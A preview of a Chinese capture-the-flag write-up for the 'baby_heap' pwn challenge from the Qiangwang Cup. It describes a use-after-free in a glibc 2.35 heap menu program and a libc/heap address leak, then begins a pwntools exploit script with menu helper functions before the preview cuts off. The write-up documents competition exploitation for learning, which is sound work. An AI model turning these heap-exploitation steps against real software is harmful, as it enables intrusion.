文章预览
本次强网杯初赛做出两道pwn题,把详细题解写一下记录。 baby_heap 附件下载 2.35 的版本,IDA打开,堆菜单题,经典增删改查之外,还有两个额外的操作,一个是环境变量,另一个是任意地址写 0x10 字节。 del 里面有很明显的UAF漏洞。 show 只有一次机会,但是可以同时将 libc 和堆地址一起泄露出来,只需要我们释放两个相同大小的堆块之后,bk_nextsize 和 fd_nextsize 上面就会携带堆的地址,然而我自己的做法中没有用到。 交互函数: from pwn import * context.log_level = "debug" p=process( "./pwn" ) # p=remote('47.94.231.2',) libc=ELF( "/lib/x86_64-linux-gnu/libc.so.6" ) def choice ( ch ): p.sendlineafter( "choice:" , str (ch)) def add ( size ): choice( 1 ) p.sendlineafter( 'size' , str (size)) def free ( idx ): choice( 2 ) p.sendlineafter( 'delete:' , str (idx)) def edit ( idx, payload ): choice( 3 ) p.sendlineafter(
………………………………